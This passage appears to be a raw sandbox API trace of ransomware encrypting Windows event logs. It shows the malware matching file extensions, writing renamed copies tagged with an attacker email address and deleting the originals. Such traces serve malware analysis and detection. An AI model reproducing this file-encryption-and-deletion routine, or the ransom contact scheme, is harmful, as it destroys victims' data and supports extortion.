(lpString1=".xls", lpString2="evtx") returned -1 [0146.384] lstrlenW (lpString=".xlsx") returned 5 [0146.384] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0146.384] lstrlenW (lpString=".ppt") returned 4 [0146.384] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0146.384] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0146.384] lstrlenW (lpString=".zip") returned 4 [0146.384] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0146.384] lstrlenW (lpString=".rar") returned 4 [0146.384] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0146.384] lstrlenW (lpString=".bz2") returned 4 [0146.384] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0146.384] lstrlenW (lpString=".7z") returned 3 [0146.384] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0146.384] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0146.384] lstrlenW (lpString=".dbf") returned 4 [0146.384] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0146.384] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0146.384] lstrlenW (lpString=".1cd") returned 4 [0146.385] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0146.385] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0146.385] lstrlenW (lpString=".jpg") returned 4 [0146.385] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0146.385] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0146.385] lstrlenW (lpString="Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 48 [0146.385] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0146.385] GetFileSizeEx (in: hFile=0x1038, lpFileSize=0x2d0ff14 | out: lpFileSize=0x2d0ff14*=69632) returned 1 [0146.385] CloseHandle (hObject=0x1038) returned 1 [0146.385] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx")) returned 0x20 [0146.387] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0146.387] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0146.387] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0146.387] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0146.387] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0146.387] GetLastError () returned 0x0 [0146.388] ReadFile (in: hFile=0x1038, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0146.463] WriteFile (in: hFile=0x10c4, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0146.465] ReadFile (in: hFile=0x1038, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x0, lpOverlapped=0x0) returned 1 [0146.465] WriteFile (in: hFile=0x10c4, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x134, lpOverlapped=0x0) returned 1 [0146.466] SetEndOfFile (hFile=0x10c4) returned 1 [0146.466] CloseHandle (hObject=0x10c4) returned 1 [0146.468] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0146.468] SetEndOfFile (hFile=0x1038) returned 1 [0146.469] CloseHandle (hObject=0x1038) returned 1 [0146.469] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0146.470] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx")) returned 1 [0146.470] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0146.470] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0146.470] lstrlenW (lpString=".doc") returned 4 [0146.470] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0146.470] lstrlenW (lpString=".docx") returned 5 [0146.470] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0146.470] lstrlenW (lpString=".pdf") returned 4 [0146.471] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0146.471] lstrlenW (lpString=".xls") returned 4 [0146.471] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0146.471] lstrlenW (lpString=".xlsx") returned 5 [0146.471] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0146.471] lstrlenW (lpString=".ppt") returned 4 [0146.471] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0146.471] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0146.471] lstrlenW (lpString=".zip") returned 4 [0146.471] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0146.471] lstrlenW (lpString=".rar") returned 4 [0146.471] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0146.471] lstrlenW (lpString=".bz2") returned 4 [0146.471] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0146.471] lstrlenW (lpString=".7z") returned 3 [0146.471] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0146.471] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0146.471] lstrlenW (lpString=".dbf") returned 4 [0146.471] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0146.471] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0146.471] lstrlenW (lpString=".1cd") returned 4 [0146.471] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0146.471] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0146.471] lstrlenW (lpString=".jpg") returned 4 [0146.471] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0146.471] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0146.471] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0146.471] lstrlenW (lpString=".doc") returned 4 [0146.471] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0146.472] lstrlenW (lpString=".docx") returned 5 [0146.472] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0146.472] lstrlenW (lpString=".pdf") returned 4 [0146.472] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0146.472] lstrlenW (lpString=".xls") returned 4 [0146.472] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0146.472] lstrlenW (lpString=".xlsx") returned 5 [0146.472] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0146.472] lstrlenW (lpString=".ppt") returned 4 [0146.472] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0146.472] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0146.472] lstrlenW (lpString=".zip") returned 4 [0146.472] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0146.472] lstrlenW (lpString=".rar") returned 4 [0146.472] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0146.472] lstrlenW (lpString=".bz2") returned 4 [0146.472] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0146.472] lstrlenW (lpString=".7z") returned 3 [0146.472] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0146.472] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0146.472] lstrlenW (lpString=".dbf") returned 4 [0146.472] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0146.472] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0146.472] lstrlenW (lpString=".1cd") returned 4 [0146.472] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0146.472] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0146.472] lstrlenW (lpString=".jpg") returned 4 [0146.472] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0146.473] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0146.473] lstrlenW (lpString="Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 54 [0146.473] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0146.473] GetFileSizeEx (in: hFile=0x1038, lpFileSize=0x2d0ff14 | out: lpFileSize=0x2d0ff14*=69632) returned 1 [0146.473] CloseHandle (hObject=0x1038) returned 1 [0146.473] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx")) returned 0x20 [0146.473] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0146.473] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0146.473] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0146.473] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0146.473] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0146.474] GetLastError () returned 0x0 [0146.474] ReadFile (in: hFile=0x1038, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0146.587] WriteFile (in: hFile=0x10c4, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0146.589] ReadFile (in: hFile=0x1038, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x0, lpOverlapped=0x0) returned 1 [0146.589] WriteFile (in: hFile=0x10c4, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x140, lpOverlapped=0x0) returned 1 [0146.589] SetEndOfFile (hFile=0x10c4) returned 1 [0146.589] CloseHandle (hObject=0x10c4) returned 1 [0146.592] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0146.592] SetEndOfFile (hFile=0x1038) returned 1 [0146.593] CloseHandle (hObject=0x1038) returned 1 [0146.593] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0146.594] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx")) returned 1 [0146.594] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0146.594] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0146.594] lstrlenW (lpString=".doc") returned 4 [0146.594] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0146.594] lstrlenW (lpString=".docx") returned 5 [0146.594] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0146.594] lstrlenW (lpString=".pdf") returned 4 [0146.594] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0146.594] lstrlenW (lpString=".xls") returned 4 [0146.594] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0146.594] lstrlenW (lpString=".xlsx") returned 5 [0146.594] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0146.594] lstrlenW (lpString=".ppt") returned 4 [0146.594] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0146.594] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0146.594] lstrlenW (lpString=".zip") returned 4 [0146.594] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0146.594] lstrlenW (lpString=".rar") returned 4 [0146.594] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0146.594] lstrlenW (lpString=".bz2") returned 4 [0146.594] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0146.595] lstrlenW (lpString=".7z") returned 3 [0146.595] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0146.595] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0146.595] lstrlenW (lpString=".dbf") returned 4 [0146.595] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0146.595] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0146.595] lstrlenW (lpString=".1cd") returned 4 [0146.595] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0146.595] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0146.595] lstrlenW (lpString=".jpg") returned 4 [0146.595] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0146.595] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0146.595] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0146.595] lstrlenW (lpString=".doc") returned 4 [0146.595] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0146.595] lstrlenW (lpString=".docx") returned 5 [0146.595] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0146.595] lstrlenW (lpString=".pdf") returned 4 [0146.595] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0146.595] lstrlenW (lpString=".xls") returned 4 [0146.595] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0146.595] lstrlenW (lpString=".xlsx") returned 5 [0146.595] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0146.595] lstrlenW (lpString=".ppt") returned 4 [0146.595] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0146.595] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0146.595] lstrlenW (lpString=".zip") returned 4 [0146.595] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0146.595] lstrlenW (lpString=".rar") returned 4 [0146.596] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0146.596] lstrlenW (lpString=".bz2") returned 4 [0146.596] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0146.596] lstrlenW (lpString=".7z") returned 3 [0146.596] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0146.596] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0146.596] lstrlenW (lpString=".dbf") returned 4 [0146.596] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0146.596] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0146.596] lstrlenW (lpString=".1cd") returned 4 [0146.596] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0146.596] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0146.596] lstrlenW (lpString=".jpg") returned 4 [0146.596] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0146.596] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0146.596] lstrlenW (lpString="Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 41 [0146.596] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0146.596] GetFileSizeEx (in: hFile=0x1038, lpFileSize=0x2d0ff14 | out: lpFileSize=0x2d0ff14*=69632) returned 1 [0146.597] CloseHandle (hObject=0x1038) returned 1 [0146.597] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx")) returned 0x20 [0146.597] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0146.597] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0146.597] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0146.597] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0146.597] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0146.597] GetLastError () returned 0x0 [0146.597] ReadFile (in: hFile=0x1038, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0146.717] WriteFile (in: hFile=0x10c4, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0146.743] ReadFile (in: hFile=0x1038, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x0, lpOverlapped=0x0) returned 1 [0146.743] WriteFile (in: hFile=0x10c4, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x126, lpOverlapped=0x0) returned 1 [0146.743] SetEndOfFile (hFile=0x10c4) returned 1 [0146.743] CloseHandle (hObject=0x10c4) returned 1 [0146.752] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0146.752] SetEndOfFile (hFile=0x1038) returned 1 [0146.756] CloseHandle (hObject=0x1038) returned 1 [0146.760] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0146.760] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx")) returned 1 [0146.765] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0146.765] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0146.765] lstrlenW (lpString=".doc") returned 4 [0146.765] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0146.765] lstrlenW (lpString=".docx") returned 5 [0146.765] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0146.765] lstrlenW (lpString=".pdf") returned 4 [0146.765] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0146.765] lstrlenW (lpString=".xls") returned 4 [0146.765] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0146.765] lstrlenW (lpString=".xlsx") returned 5 [0146.765] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0146.765] lstrlenW (lpString=".ppt") returned 4 [0146.765] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0146.765] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0146.765] lstrlenW (lpString=".zip") returned 4 [0146.765] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0146.765] lstrlenW (lpString=".rar") returned 4 [0146.766] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0146.766] lstrlenW (lpString=".bz2") returned 4 [0146.766] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0146.766] lstrlenW (lpString=".7z") returned 3 [0146.766] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0146.766] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0146.766] lstrlenW (lpString=".dbf") returned 4 [0146.766] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0146.766] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0146.766] lstrlenW (lpString=".1cd") returned 4 [0146.766] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0146.766] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0146.766] lstrlenW (lpString=".jpg") returned 4 [0146.766] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0146.766] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0146.766] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0146.766] lstrlenW (lpString=".doc") returned 4 [0146.766] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0146.766] lstrlenW (lpString=".docx") returned 5 [0146.766] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0146.766] lstrlenW (lpString=".pdf") returned 4 [0146.766] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0146.766] lstrlenW (lpString=".xls") returned 4 [0146.766] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0146.766] lstrlenW (lpString=".xlsx") returned 5 [0146.767] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0146.767] lstrlenW (lpString=".ppt") returned 4 [0146.767] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0146.767] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0146.767] lstrlenW (lpString=".zip") returned 4 [0146.767] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0146.767] lstrlenW (lpString=".rar") returned 4 [0146.767] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0146.767] lstrlenW (lpString=".bz2") returned 4 [0146.767] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0146.767] lstrlenW (lpString=".7z") returned 3 [0146.767] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0146.767] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0146.767] lstrlenW (lpString=".dbf") returned 4 [0146.767] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0146.767] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0146.767] lstrlenW (lpString=".1cd") returned 4 [0146.767] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0146.767] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0146.767] lstrlenW (lpString=".jpg") returned 4 [0146.767] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 